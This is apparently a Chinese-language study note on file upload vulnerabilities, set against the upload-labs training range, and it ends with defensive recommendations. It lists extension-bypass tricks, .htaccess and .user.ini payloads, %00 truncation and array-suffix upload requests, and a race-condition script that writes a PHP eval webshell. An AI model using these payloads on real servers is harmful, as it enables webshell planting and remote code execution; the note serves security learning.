← 返回主页
NOTE

文件上传漏洞和 WAF 绕过

整理文件上传漏洞条件、校验绕过思路和防御检查要点。

一、环境准备

1.1 靶场搭建

# 拉取靶场镜像
docker pull docker.xuanyuan.run/monstertsl/upload-labs:latest

# 启动靶场容器 (端口映射 82->80)
docker run -d -p 82:80 --name upload-labs docker.xuanyuan.run/monstertsl/upload-labs:latest

1.2 学习资源


二、漏洞类型与绕过技巧

2.1 前端校验绕过

漏洞特征:仅依赖客户端JS验证文件类型
绕过方法

  1. 浏览器禁用JS执行
  2. 拦截HTTP请求修改文件扩展名
  3. 使用BurpSuite等工具篡改上传请求

前端校验绕过示意图


2.2 黑名单策略绕过

常见漏洞点

1. 未过滤非常规PHP扩展名:php3,php5,pht,phtml,phps
2. 未处理大小写混淆:`.PhP`, `.pHP5`
3. Windows特性未过滤:
   - 末尾空格:`shell.php `
   - 末尾点号:`shell.php.`
   - NTFS数据流:`shell.jpg::$DATA`
4. 未拦截配置文件:
   - `.htaccess` (Apache)
   - `.user.ini` (PHP)
5. 双写绕过:`shell.pphphp``shell.php`
6. 数组后缀绕过(新增)

2.2.1 .htaccess利用

# 上传.htaccess文件内容
AddType application/x-httpd-php .jpg .txt

效果:使服务器将jpg/txt文件作为PHP解析

2.2.2 .user.ini利用

; 上传.user.ini文件内容
auto_prepend_file = "shell.jpg"

效果:当前目录下所有PHP文件执行前自动包含shell.jpg


2.3 白名单策略绕过

2.3.1 %00截断攻击 (PHP<5.3.4)

漏洞原理:老版本PHP将%00识别为字符串终止符
攻击示例

POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"

结果:服务器存储为shell.php

2.3.2 文件头欺骗

绕过方法

  1. 添加图片文件头:
    • JPEG: FF D8 FF E0
    • PNG: 89 50 4E 47
  2. 使用Hex编辑器注入恶意代码

示例结构

[图片文件头] + [PHP木马] + [正常图片数据]

2.3.3 图片二次渲染绕过

限制:仅GIF成功率较高
攻击流程

  1. 分析渲染前后不变的数据区
  2. 在保留区域植入木马
  3. 上传后配合文件包含漏洞执行

2.4 条件竞争攻击

漏洞场景:先保存后验证的服务器逻辑
攻击步骤

  1. 上传生成木马的脚本
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>');
  1. 快速重复访问脚本URL
  2. 在文件删除前完成木马写入

2.5 Apache解析漏洞

漏洞版本:Apache 1.x/2.x
特征:从右向左解析未知扩展名
有效载荷

shell.php.xxx → 解析为PHP
shell.php.jpg → 解析为jpg

2.6 数组后缀绕过

漏洞原理
当服务器使用数组方式处理文件名时(如PHP的explode()分割),可能通过end()获取扩展名,但用reset() + 数组索引拼接最终文件名,导致逻辑不一致。

攻击步骤

  1. 构造多维数组形式的上传请求
  2. 控制数组索引使验证扩展名与实际存储扩展名分离
  3. 生成非常规后缀(如.php.xxx)触发解析漏洞

HTTP攻击示例

POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="save_name[0]"
1.php
Content-Disposition: form-data; name="save_name[2]"
bypass
Content-Disposition: form-data; name="save_name[3]"
jpg  // 验证通过

结果:存储文件名为1.php.bypass,配合Apache解析漏洞可执行PHP

2.7 日志文件注入

漏洞原理:一些服务器会开启访问记录日志功能,我们可以在访问网站时加上恶意代码,再配合目录穿越文件包含漏洞来执行恶意脚本代码。

攻击步骤

  • 构造恶意请求记录入日志文件:

    image-20250810113915709

    image-20250810113955978

  • 利用文件包含漏洞引入日志文件中的恶意代码。

三、防御建议

1. 文件类型验证:
   - 使用MIME类型检测 + 文件头校验
   - 白名单限制扩展名(推荐)

2. 存储安全:
   - 重命名上传文件(如MD5值)
   - 禁用脚本执行权限
   - 存储至非Web目录

3. 服务配置:
   - 升级Apache/PHP版本
   - 关闭危险解析特性
   - 设置php.ini:`cgi.fix_pathinfo=0`

4. 纵深防御:
   - WAF规则更新(防%00截断、数组绕过等)
   - 文件内容扫描(防Webshell)
   - 设置上传目录不可执行

5. 逻辑加固(针对数组绕过):
   - 避免使用数组方式处理文件名
   - 统一使用pathinfo()获取扩展名
   - 文件名拼接前进行规范化处理